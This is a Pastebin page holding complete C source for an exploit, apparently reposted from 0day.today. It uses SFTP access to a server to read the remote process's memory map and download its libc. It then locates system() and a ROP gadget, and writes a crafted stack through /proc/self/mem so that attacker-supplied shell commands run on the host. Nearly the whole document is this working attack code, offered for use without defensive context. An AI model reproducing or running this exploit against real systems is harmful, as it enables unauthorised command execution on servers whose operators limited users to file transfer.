SHARE
TWEET

aa

a guest Sep 4th, 2018 84 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <libssh/libssh.h>
  2. #include <libssh/sftp.h>
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <sys/types.h>
  6. #include <sys/stat.h>
  7. #include <fcntl.h>
  8. #include <string.h>
  9. #include <errno.h>
  10.  
  11. #define min(a,b) (((a)<(b))?(a):(b))
  12.  
  13. sftp_session sftp;
  14.  
  15. size_t grab_file(char *rpath, char **out) {
  16.   size_t allocated = 4000, used = 0;
  17.   *out = calloc(1, allocated+1);
  18.   sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0);
  19.   if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
  20.   while (1) {
  21.     ssize_t nbytes = sftp_read(f, *out+used, allocated-used);
  22.     if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
  23.     if (nbytes == 0) {
  24.       (*out)[used] = '\0';
  25.       sftp_close(f);
  26.       return used;
  27.     }
  28.     used += nbytes;
  29.     if (used == allocated) {
  30.       allocated *= 4;
  31.       *out = realloc(*out, allocated);
  32.     }
  33.   }
  34. }
  35.  
  36. void dump_file(char *name, void *buf, size_t len) {
  37.   FILE *f = fopen(name, "w+");
  38.   if (!f) perror("can't write to local file"), exit(1);
  39.   if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write failed\n"), exit(1);
  40.   if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
  41. }
  42.  
  43. size_t slurp_file(char *path, char **out) {
  44.   size_t allocated = 4000, used = 0;
  45.   *out = calloc(1, allocated+1);
  46.   FILE *f = fopen(path, "r");
  47.   if (f == NULL) perror("opening local file failed"), exit(1);
  48.   while (1) {
  49.     ssize_t nbytes = fread(*out+used, 1, allocated-used, f);
  50.     if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n", path, strerror(errno)), exit(1);
  51.     if (nbytes == 0) {
  52.       (*out)[used] = '\0';
  53.       if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
  54.       return used;
  55.     }
  56.     used += nbytes;
  57.     if (used == allocated) {
  58.       allocated *= 4;
  59.       *out = realloc(*out, allocated);
  60.     }
  61.   }
  62. }
  63.  
  64. int main(int argc, char **argv) {
  65.   if (argc != 4) fprintf(stderr, "invocation: ./exploit host user 'shell commands here'\n"), exit(1);
  66.   char *target_host = argv[1];
  67.   char *target_user = argv[2];
  68.   char *shell_commands = argv[3];
  69.  
  70.   ssh_session my_ssh_session;
  71.   int rc;
  72.   char *password;
  73.   // Open session and set options
  74.   my_ssh_session = ssh_new();
  75.   if (my_ssh_session == NULL) exit(-1);
  76.   ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host);
  77.   ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user);
  78.   // Connect to server
  79.   rc = ssh_connect(my_ssh_session);
  80.   if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  81.  
  82.   // Authenticate ourselves
  83.   password = getpass("Password: ");
  84.   rc = ssh_userauth_password(my_ssh_session, NULL, password);
  85.   if (rc != SSH_AUTH_SUCCESS)
  86.     fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  87.    
  88.   sftp = sftp_new(my_ssh_session);
  89.   if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  90.  
  91.   rc = sftp_init(sftp);
  92.   if (rc != SSH_OK) {
  93.     fprintf(stderr, "Error initializing SFTP session: %s.\n", ssh_get_error(sftp));
  94.     sftp_free(sftp);
  95.     return rc;
  96.   }
  97.  
  98.   char *mappings;
  99.   grab_file("/proc/self/maps", &mappings);
  100.   //printf("/proc/self/maps dump: \n%s\n\n\n", mappings);
  101.  
  102.   printf("got /proc/self/maps. looking for libc...\n");
  103.   // 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466                    /lib/x86_64-linux-gnu/libc-2.13.so
  104.   long long start_addr, end_addr, offset;
  105.   char *libc_path = NULL;
  106.   long long stack_start_addr = 0, stack_end_addr;
  107.   for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) {
  108.     if (strstr(p, " r-xp ") && strstr(p, "/libc-")) {
  109.       if (libc_path) fprintf(stderr, "warning: two times libc?\n");
  110.       printf("mapping line: %s\n", p);
  111.       if (sscanf(p, "%Lx-%Lx %*4c %Lx", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1);
  112.       libc_path = strdup(strchr(p, '/'));
  113.       if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1);
  114.     }
  115.     if (strstr(p, "[stack]")) {
  116.       if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1);
  117.       printf("mapping line: %s\n", p);
  118.       if (sscanf(p, "%Lx-%Lx ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1);
  119.     }
  120.   }
  121.   if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1);
  122.   if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1);
  123.   printf("remote libc is at %s\n", libc_path);
  124.   printf("offset %Lx from libc is mapped to %Lx-%Lx\n", offset, start_addr, end_addr);
  125.  
  126.   char *libc;
  127.   size_t libc_size = grab_file(libc_path, &libc);
  128.   dump_file("libc.so", libc, libc_size);
  129.   printf("downloaded libc, size is %zu bytes\n", libc_size);
  130.  
  131.   system("objdump -T libc.so | grep ' system$' | cut -d' ' -f1 > system.addr");
  132.   char *system_offset_str;
  133.   slurp_file("system.addr", &system_offset_str);
  134.   long long system_offset;
  135.   if (sscanf(system_offset_str, "%Lx", &system_offset) != 1) perror("scanf failed"), exit(1);
  136.   long long remote_system_addr = start_addr+system_offset-offset;
  137.   printf("remote system() function is at %Lx\n", remote_system_addr);
  138.  
  139.   printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n");
  140.   char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3", 2);
  141.   if (gadget == NULL) fprintf(stderr, "no gadget found :(\n"), exit(1);
  142.   long long gadget_address = start_addr + (gadget-(libc+offset));
  143.   long long ret_address = gadget_address+1;
  144.   printf("found gadget at %Lx\n", gadget_address);
  145.  
  146.   printf("remote stack is at %Lx-%Lx\n", stack_start_addr, stack_end_addr);
  147.   printf("doing it the quick-and-dirty way (that means: pray that the target"
  148.          "program was compiled with gcc, giving us 16-byte stack alignment)...\n");
  149.   long long stack_len = stack_end_addr - stack_start_addr;
  150.   /*if (stack_len > 32000) {
  151.     stack_len = 32000;
  152.     stack_start_addr = stack_end_addr - stack_len;
  153.   }*/
  154.   char *new_stack = malloc(stack_len);
  155.  
  156.   // first fill it with our ret slide
  157.   for (long long *s = (void*)new_stack; s<(long long*)(new_stack+stack_len); s++) {
  158.     *s = ret_address;
  159.   }
  160.  
  161.   // put some shell commands in the head
  162.   strcpy(new_stack, shell_commands);
  163.  
  164.   // put the mini-ROP-chain at the end
  165.   // [address of pop rdi] [stack head] [address of system]
  166.   long long *se = (void*)(new_stack + stack_len);
  167.   se[-3] = gadget_address;
  168.   se[-2] = stack_start_addr;
  169.   se[-1] = remote_system_addr;
  170.  
  171.   printf("Prepared the new stack. Now comes the moment of truth: push the new stack over and pray.\n");
  172.   sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0);
  173.   if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1);
  174.  
  175.   // first send over the string
  176.   rc = sftp_seek64(mem, stack_start_addr);
  177.   if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n", ssh_get_error(sftp)), exit(1);
  178.   ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1);
  179.   if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n");
  180.  
  181.   // now send over the rest right-to-left
  182.   for (long long off = stack_len-32000; off >= 0; off -= 32000) {
  183.     rc = sftp_seek64(mem, stack_start_addr+off);
  184.     if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)), exit(1);
  185.     mem_written = sftp_write(mem, new_stack+off, 32000);
  186.     if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good :)\n"), exit(0);
  187.   }
  188.  
  189.   return 0;
  190. }
  191.  
  192. #  0day.today [2018-09-04]  #
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top